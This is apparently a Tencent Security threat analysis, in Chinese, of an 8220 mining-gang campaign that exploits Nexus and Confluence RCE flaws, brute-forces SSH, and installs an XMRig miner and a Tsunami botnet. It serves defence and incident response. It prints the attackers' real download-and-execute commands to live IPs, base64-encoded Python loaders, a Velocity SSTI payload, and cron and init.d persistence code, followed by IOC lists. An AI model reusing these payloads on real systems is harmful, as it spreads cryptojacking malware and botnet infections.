一、背景
腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)网络攻击日志告警及时处置,已彻底消除该挖矿团伙的威胁。
腾讯主机安全(云镜)检测网络攻击
在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。
腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3和Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。
在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.py或dd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:
8220挖矿变种攻击流程
8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635和CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。
二、详细分析
1.网络入侵
Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报了该漏洞。
攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。
执行shell命令如下:
rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。
8220挖矿团伙于2020年10月15日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm
x.vm代码:
#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")
2.核心shell
为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:
setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。
1.setenforce 0 2>/dev/null
2.ulimit -u 50000
3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:
杀死竞品挖矿进程
试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。
卸载安全软件
从ifconfig中获取IP地址备用。
获取IP地址
通过Ping命令测试矿池域名DNS是否成功。
测试矿池域名
设置横向移动攻击时的Payload:
payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
Payload执行的代码主要功能为下载核心shell脚本xms并执行。
其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py。
python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'
接着d.py负责下载和启动挖矿木马,x86_x64为64位、i686为32位,go负责启动挖矿进程和将其伪装成系统进程。
下载挖矿木马
挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。
挖矿木马启动
脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。
挖矿木马标记
d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:
python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'
接着bb.py负责下载和执行Tsunami僵尸程序。
下载Tsunami僵尸程序
Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。
Tsunami僵尸程序特征
接着解码另一段base64编码的代码并执行:
#!/bin/bash if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then url="bash.givemexyz.xyz" base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw==" else url="5.196.247.12" base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn" fi if crontab -l | grep -q "205.185.113.151\|198.98.57.217" then chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down crontab -r echo "Cron not found" echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx echo -e "*/30 * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm*92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash - mkdir -p /var/spool/cron/crontabs echo -e "* * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1 fi
该段代码主要有以下功能:
- 测试givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12",base(定时任务)设为d.py。
- 将执行xms脚本的命令写入定时任务,写入以下位置:
/etc/cron.d/root /etc/cron.d/apache /etc/cron.d/nginx /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1
- 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down:
#!/bin/bash echo -e '#!/bin/bash ### BEGIN INIT INFO # Provides: down # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: # Short-Description: down (by pwned) ### END INIT INFO (curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down
3.横向移动
1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。
2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。
Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。
爆破字典中包含16000多对SSH账号密码。
3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。
sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。
IOCs
IP
205.185.116.78
5.196.247.12
198.98.57.217
205.185.113.151
194.156.99.30
209.141.61.233
209.141.33.226
209.141.35.17
Domain
bash.givemexyz.xyz
bash.givemexyz.in
c4k-rx0.pwndns.pw
MD5
xms | 917f0390a3568385fcbfecc0b2b36590 |
xms | c242aee778acb533db60b1bc8bb7478d |
xmi | 4613a0cdf913d3f193e977bebbaf7536 |
x86_64 | cd7ca50a01fc9c6e8fdc8c3d5e6100f0 |
i686 | 8bfc072d37f41190515f8dc00a59fb2e |
x32b | ee48aa6068988649e41febfa0e3b2169 |
x64b | c4d44eed4916675dd408ff0b3562fb1f |
go | 9c7ceb4aa12986d40ffdd93ba0ca926e |
d.py | 2bee6aad5c035f13fc122ec553857701 |
dd.py | d563218fee8156116e1ad023f24e1a5d |
bb.py | 2fd8cfcac4d08577c6347567b5978497 |
good.tar.gz | 8f1e95b72e228327d5d035e8c9875cb4 |
linux.tar.gz | c7a83c9225223394a5e3097d8e1eb66e |
sshexec | 57b818cb57dd4a517bde72684e9aaade |
sshpass | b1fc3486f3f4d3f23fcbf8b8b0522bf8 |
scan | b42183f226ab540fb07dd46088b382cf |
hxx | f0551696774f66ad3485445d9e3f7214 |
l.py | 022d538e6175a58c4ebdfe3b1f16c82e |
URL
http[:]//205.185.116.78/xms
http[:]//205.185.116.78/sshpass
http[:]//205.185.116.78/sshexec
http[:]//205.185.116.78/p
http[:]//205.185.116.78/scan
http[:]//205.185.116.78/masscan
http[:]//205.185.116.78/hxx
http[:]//205.185.116.78/d.py
http[:]//205.185.116.78/dd.py
http[:]//205.185.116.78/bb.py
http[:]//bash.givemexyz.xyz/xms
http[:]//bash.givemexyz.xyz/dd.py
http[:]//bash.givemexyz.xyz/i686
http[:]//bash.givemexyz.xyz/d.py
http[:]//bash.givemexyz.xyz/x32b
http[:]//bash.givemexyz.xyz/xmi
http[:]//bash.givemexyz.xyz/x86_64
http[:]//198.98.57.217/xms
http[:]//198.98.57.217/xmi
http[:]//198.98.57.217/sshexec
http[:]//198.98.57.217/sshpass
http[:]//198.98.57.217/good.tar.gz
http[:]//198.98.57.217/d.py
http[:]//198.98.57.217/x64b
http[:]//198.98.57.217/x32b
http[:]//194.156.99.30/l.py
http[:]//bash.givemexyz.in/dd.py
http[:]//209.141.35.17/wpfa.txt
参考链接:
- Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警
https://cloud.tencent.com/announce/detail/459
- Confluence未授权RCE(CVE-2019-3396)漏洞分析
- 疑似国内来源的“8220挖矿团伙”追踪溯源分析
https://mp.weixin.qq.com/s/oUV6iDvIrsoiQztjNVCDIA
4 “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
https://mp.weixin.qq.com/s/CPHRAntQAflcJr_BcNnNUg
- 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿
https://mp.weixin.qq.com/s/sO8sXWKVWCHS6upVc_6UtQ
- 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!
https://mp.weixin.qq.com/s/4350pUlXYXTMyYEAzztwQQ
- “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击